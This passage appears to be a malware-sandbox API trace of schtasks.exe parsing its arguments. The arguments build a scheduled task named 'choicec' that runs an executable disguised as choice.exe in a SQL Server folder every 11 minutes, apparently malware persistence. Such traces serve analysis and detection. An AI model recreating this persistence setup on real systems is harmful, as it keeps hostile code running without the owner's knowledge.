[0064.772] SetLastError (dwErrCode=0x0) [0064.772] lstrlenW (lpString="choicec") returned 7 [0064.772] StrChrIW (lpStart="choicec", wMatch=0x3a) returned 0x0 [0064.772] SetLastError (dwErrCode=0x490) [0064.772] SetLastError (dwErrCode=0x0) [0064.772] lstrlenW (lpString="choicec") returned 7 [0064.772] GetProcessHeap () returned 0x330000 [0064.772] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34c3f0 [0064.772] GetProcessHeap () returned 0x330000 [0064.772] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdc0 [0064.772] SetLastError (dwErrCode=0x0) [0064.772] SetLastError (dwErrCode=0x0) [0064.772] lstrlenW (lpString="/sc") returned 3 [0064.772] lstrlenW (lpString="-/") returned 2 [0064.772] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.772] lstrlenW (lpString="?") returned 1 [0064.772] lstrlenW (lpString="?") returned 1 [0064.772] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.772] lstrlenW (lpString="sc") returned 2 [0064.772] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.772] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.772] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.772] lstrlenW (lpString="|?|") returned 3 [0064.772] lstrlenW (lpString="|sc|") returned 4 [0064.772] SetLastError (dwErrCode=0x490) [0064.772] lstrlenW (lpString="create") returned 6 [0064.773] lstrlenW (lpString="create") returned 6 [0064.773] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.773] lstrlenW (lpString="sc") returned 2 [0064.773] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.773] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.773] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.773] lstrlenW (lpString="|create|") returned 8 [0064.773] lstrlenW (lpString="|sc|") returned 4 [0064.773] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0064.773] SetLastError (dwErrCode=0x490) [0064.773] lstrlenW (lpString="delete") returned 6 [0064.773] lstrlenW (lpString="delete") returned 6 [0064.773] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.773] lstrlenW (lpString="sc") returned 2 [0064.773] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.773] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0064.773] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.773] lstrlenW (lpString="|delete|") returned 8 [0064.773] lstrlenW (lpString="|sc|") returned 4 [0064.773] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0064.773] SetLastError (dwErrCode=0x490) [0064.773] lstrlenW (lpString="query") returned 5 [0064.773] lstrlenW (lpString="query") returned 5 [0064.773] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.773] lstrlenW (lpString="sc") returned 2 [0064.773] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.773] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0064.773] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.774] lstrlenW (lpString="|query|") returned 7 [0064.774] lstrlenW (lpString="|sc|") returned 4 [0064.774] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0064.774] SetLastError (dwErrCode=0x490) [0064.774] lstrlenW (lpString="change") returned 6 [0064.774] lstrlenW (lpString="change") returned 6 [0064.774] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.774] lstrlenW (lpString="sc") returned 2 [0064.774] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.774] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0064.774] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.774] lstrlenW (lpString="|change|") returned 8 [0064.774] lstrlenW (lpString="|sc|") returned 4 [0064.774] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0064.774] SetLastError (dwErrCode=0x490) [0064.774] lstrlenW (lpString="run") returned 3 [0064.774] lstrlenW (lpString="run") returned 3 [0064.774] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.774] lstrlenW (lpString="sc") returned 2 [0064.774] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.774] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0064.774] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.774] lstrlenW (lpString="|run|") returned 5 [0064.774] lstrlenW (lpString="|sc|") returned 4 [0064.774] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0064.774] SetLastError (dwErrCode=0x490) [0064.774] lstrlenW (lpString="end") returned 3 [0064.774] lstrlenW (lpString="end") returned 3 [0064.774] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.775] lstrlenW (lpString="sc") returned 2 [0064.775] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.775] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0064.775] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.775] lstrlenW (lpString="|end|") returned 5 [0064.775] lstrlenW (lpString="|sc|") returned 4 [0064.775] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0064.775] SetLastError (dwErrCode=0x490) [0064.775] lstrlenW (lpString="showsid") returned 7 [0064.775] lstrlenW (lpString="showsid") returned 7 [0064.775] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.775] lstrlenW (lpString="sc") returned 2 [0064.775] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.775] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0064.775] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|sc|") returned 4 [0064.775] lstrlenW (lpString="|showsid|") returned 9 [0064.775] lstrlenW (lpString="|sc|") returned 4 [0064.775] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0064.775] SetLastError (dwErrCode=0x490) [0064.775] SetLastError (dwErrCode=0x490) [0064.775] SetLastError (dwErrCode=0x0) [0064.775] lstrlenW (lpString="/sc") returned 3 [0064.775] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0064.775] SetLastError (dwErrCode=0x490) [0064.775] SetLastError (dwErrCode=0x0) [0064.775] lstrlenW (lpString="/sc") returned 3 [0064.775] GetProcessHeap () returned 0x330000 [0064.775] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c410 [0064.775] GetProcessHeap () returned 0x330000 [0064.775] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cdf0 [0064.775] SetLastError (dwErrCode=0x0) [0064.776] SetLastError (dwErrCode=0x0) [0064.776] lstrlenW (lpString="MINUTE") returned 6 [0064.776] lstrlenW (lpString="-/") returned 2 [0064.776] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0064.776] SetLastError (dwErrCode=0x490) [0064.776] SetLastError (dwErrCode=0x490) [0064.776] SetLastError (dwErrCode=0x0) [0064.776] lstrlenW (lpString="MINUTE") returned 6 [0064.776] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0064.776] SetLastError (dwErrCode=0x490) [0064.776] SetLastError (dwErrCode=0x0) [0064.776] lstrlenW (lpString="MINUTE") returned 6 [0064.776] GetProcessHeap () returned 0x330000 [0064.776] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34c430 [0064.776] GetProcessHeap () returned 0x330000 [0064.776] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ce20 [0064.776] SetLastError (dwErrCode=0x0) [0064.776] SetLastError (dwErrCode=0x0) [0064.776] lstrlenW (lpString="/mo") returned 3 [0064.776] lstrlenW (lpString="-/") returned 2 [0064.776] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.776] lstrlenW (lpString="?") returned 1 [0064.776] lstrlenW (lpString="?") returned 1 [0064.776] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.776] lstrlenW (lpString="mo") returned 2 [0064.776] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.776] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.776] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.776] lstrlenW (lpString="|?|") returned 3 [0064.776] lstrlenW (lpString="|mo|") returned 4 [0064.776] SetLastError (dwErrCode=0x490) [0064.776] lstrlenW (lpString="create") returned 6 [0064.777] lstrlenW (lpString="create") returned 6 [0064.777] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.777] lstrlenW (lpString="mo") returned 2 [0064.777] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.777] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.777] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.777] lstrlenW (lpString="|create|") returned 8 [0064.777] lstrlenW (lpString="|mo|") returned 4 [0064.777] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0064.777] SetLastError (dwErrCode=0x490) [0064.777] lstrlenW (lpString="delete") returned 6 [0064.777] lstrlenW (lpString="delete") returned 6 [0064.777] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.777] lstrlenW (lpString="mo") returned 2 [0064.777] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.777] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0064.777] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.777] lstrlenW (lpString="|delete|") returned 8 [0064.777] lstrlenW (lpString="|mo|") returned 4 [0064.777] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0064.777] SetLastError (dwErrCode=0x490) [0064.777] lstrlenW (lpString="query") returned 5 [0064.777] lstrlenW (lpString="query") returned 5 [0064.777] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.777] lstrlenW (lpString="mo") returned 2 [0064.777] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.777] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0064.777] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.778] lstrlenW (lpString="|query|") returned 7 [0064.778] lstrlenW (lpString="|mo|") returned 4 [0064.778] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0064.778] SetLastError (dwErrCode=0x490) [0064.778] lstrlenW (lpString="change") returned 6 [0064.778] lstrlenW (lpString="change") returned 6 [0064.778] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.778] lstrlenW (lpString="mo") returned 2 [0064.778] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.778] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0064.778] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.778] lstrlenW (lpString="|change|") returned 8 [0064.778] lstrlenW (lpString="|mo|") returned 4 [0064.778] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0064.778] SetLastError (dwErrCode=0x490) [0064.778] lstrlenW (lpString="run") returned 3 [0064.778] lstrlenW (lpString="run") returned 3 [0064.778] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.778] lstrlenW (lpString="mo") returned 2 [0064.778] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.778] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0064.778] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.778] lstrlenW (lpString="|run|") returned 5 [0064.778] lstrlenW (lpString="|mo|") returned 4 [0064.778] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0064.778] SetLastError (dwErrCode=0x490) [0064.778] lstrlenW (lpString="end") returned 3 [0064.779] lstrlenW (lpString="end") returned 3 [0064.779] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.779] lstrlenW (lpString="mo") returned 2 [0064.779] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.779] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0064.779] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.779] lstrlenW (lpString="|end|") returned 5 [0064.779] lstrlenW (lpString="|mo|") returned 4 [0064.779] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0064.880] SetLastError (dwErrCode=0x490) [0064.882] lstrlenW (lpString="showsid") returned 7 [0064.882] lstrlenW (lpString="showsid") returned 7 [0064.882] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.882] lstrlenW (lpString="mo") returned 2 [0064.882] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.882] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0064.882] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|mo|") returned 4 [0064.882] lstrlenW (lpString="|showsid|") returned 9 [0064.882] lstrlenW (lpString="|mo|") returned 4 [0064.882] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0064.882] SetLastError (dwErrCode=0x490) [0064.882] SetLastError (dwErrCode=0x490) [0064.882] SetLastError (dwErrCode=0x0) [0064.882] lstrlenW (lpString="/mo") returned 3 [0064.882] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0064.882] SetLastError (dwErrCode=0x490) [0064.882] SetLastError (dwErrCode=0x0) [0064.882] lstrlenW (lpString="/mo") returned 3 [0064.882] GetProcessHeap () returned 0x330000 [0064.882] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c450 [0064.882] GetProcessHeap () returned 0x330000 [0064.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ce50 [0064.883] SetLastError (dwErrCode=0x0) [0064.883] SetLastError (dwErrCode=0x0) [0064.883] lstrlenW (lpString="11") returned 2 [0064.883] lstrlenW (lpString="-/") returned 2 [0064.883] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0064.883] SetLastError (dwErrCode=0x490) [0064.883] SetLastError (dwErrCode=0x490) [0064.883] SetLastError (dwErrCode=0x0) [0064.883] lstrlenW (lpString="11") returned 2 [0064.883] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0064.883] SetLastError (dwErrCode=0x490) [0064.883] SetLastError (dwErrCode=0x0) [0064.883] lstrlenW (lpString="11") returned 2 [0064.883] GetProcessHeap () returned 0x330000 [0064.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x6) returned 0x34c470 [0064.883] GetProcessHeap () returned 0x330000 [0064.883] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ce80 [0064.883] SetLastError (dwErrCode=0x0) [0064.883] SetLastError (dwErrCode=0x0) [0064.883] lstrlenW (lpString="/tr") returned 3 [0064.883] lstrlenW (lpString="-/") returned 2 [0064.883] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.883] lstrlenW (lpString="?") returned 1 [0064.883] lstrlenW (lpString="?") returned 1 [0064.883] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.884] lstrlenW (lpString="tr") returned 2 [0064.884] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.884] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.884] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.884] lstrlenW (lpString="|?|") returned 3 [0064.884] lstrlenW (lpString="|tr|") returned 4 [0064.884] SetLastError (dwErrCode=0x490) [0064.884] lstrlenW (lpString="create") returned 6 [0064.884] lstrlenW (lpString="create") returned 6 [0064.884] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.884] lstrlenW (lpString="tr") returned 2 [0064.884] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.884] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.884] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.884] lstrlenW (lpString="|create|") returned 8 [0064.884] lstrlenW (lpString="|tr|") returned 4 [0064.884] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0064.884] SetLastError (dwErrCode=0x490) [0064.884] lstrlenW (lpString="delete") returned 6 [0064.884] lstrlenW (lpString="delete") returned 6 [0064.884] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.885] lstrlenW (lpString="tr") returned 2 [0064.885] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.885] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0064.885] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.885] lstrlenW (lpString="|delete|") returned 8 [0064.885] lstrlenW (lpString="|tr|") returned 4 [0064.885] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0064.885] SetLastError (dwErrCode=0x490) [0064.885] lstrlenW (lpString="query") returned 5 [0064.885] lstrlenW (lpString="query") returned 5 [0064.885] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.885] lstrlenW (lpString="tr") returned 2 [0064.885] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.885] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0064.885] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.885] lstrlenW (lpString="|query|") returned 7 [0064.885] lstrlenW (lpString="|tr|") returned 4 [0064.885] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0064.885] SetLastError (dwErrCode=0x490) [0064.885] lstrlenW (lpString="change") returned 6 [0064.886] lstrlenW (lpString="change") returned 6 [0064.886] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.886] lstrlenW (lpString="tr") returned 2 [0064.886] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.886] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0064.886] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.886] lstrlenW (lpString="|change|") returned 8 [0064.886] lstrlenW (lpString="|tr|") returned 4 [0064.886] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0064.886] SetLastError (dwErrCode=0x490) [0064.886] lstrlenW (lpString="run") returned 3 [0064.886] lstrlenW (lpString="run") returned 3 [0064.886] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.886] lstrlenW (lpString="tr") returned 2 [0064.886] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.886] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0064.886] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.886] lstrlenW (lpString="|run|") returned 5 [0064.886] lstrlenW (lpString="|tr|") returned 4 [0064.886] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0064.887] SetLastError (dwErrCode=0x490) [0064.887] lstrlenW (lpString="end") returned 3 [0064.887] lstrlenW (lpString="end") returned 3 [0064.887] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.887] lstrlenW (lpString="tr") returned 2 [0064.887] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.887] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0064.887] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.887] lstrlenW (lpString="|end|") returned 5 [0064.887] lstrlenW (lpString="|tr|") returned 4 [0064.887] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0064.887] SetLastError (dwErrCode=0x490) [0064.887] lstrlenW (lpString="showsid") returned 7 [0064.887] lstrlenW (lpString="showsid") returned 7 [0064.887] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.887] lstrlenW (lpString="tr") returned 2 [0064.887] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.887] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0064.887] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tr|") returned 4 [0064.887] lstrlenW (lpString="|showsid|") returned 9 [0064.888] lstrlenW (lpString="|tr|") returned 4 [0064.888] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0064.888] SetLastError (dwErrCode=0x490) [0064.888] SetLastError (dwErrCode=0x490) [0064.888] SetLastError (dwErrCode=0x0) [0064.888] lstrlenW (lpString="/tr") returned 3 [0064.888] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0064.888] SetLastError (dwErrCode=0x490) [0064.888] SetLastError (dwErrCode=0x0) [0064.888] lstrlenW (lpString="/tr") returned 3 [0064.888] GetProcessHeap () returned 0x330000 [0064.888] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c490 [0064.888] GetProcessHeap () returned 0x330000 [0064.888] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ceb0 [0064.888] SetLastError (dwErrCode=0x0) [0064.888] SetLastError (dwErrCode=0x0) [0064.888] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.888] lstrlenW (lpString="-/") returned 2 [0064.889] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.889] SetLastError (dwErrCode=0x490) [0064.889] SetLastError (dwErrCode=0x490) [0064.889] SetLastError (dwErrCode=0x0) [0064.889] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.889] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'" [0064.889] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.889] GetProcessHeap () returned 0x330000 [0064.889] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34c4b0 [0064.889] _memicmp (_Buf1=0x34c4b0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.889] GetProcessHeap () returned 0x330000 [0064.889] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xe) returned 0x34c4d0 [0064.889] GetProcessHeap () returned 0x330000 [0064.889] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34d680 [0064.889] _memicmp (_Buf1=0x34d680, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.889] GetProcessHeap () returned 0x330000 [0064.889] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8a) returned 0x34de50 [0064.889] SetLastError (dwErrCode=0x7a) [0064.889] SetLastError (dwErrCode=0x0) [0064.889] SetLastError (dwErrCode=0x0) [0064.890] lstrlenW (lpString="'C") returned 2 [0064.890] lstrlenW (lpString="-/") returned 2 [0064.890] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.890] SetLastError (dwErrCode=0x490) [0064.890] SetLastError (dwErrCode=0x490) [0064.890] SetLastError (dwErrCode=0x0) [0064.890] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.890] GetProcessHeap () returned 0x330000 [0064.890] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x88) returned 0x34def0 [0064.890] GetProcessHeap () returned 0x330000 [0064.890] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cee0 [0064.890] SetLastError (dwErrCode=0x0) [0064.890] SetLastError (dwErrCode=0x0) [0064.890] lstrlenW (lpString="/rl") returned 3 [0064.890] lstrlenW (lpString="-/") returned 2 [0064.890] 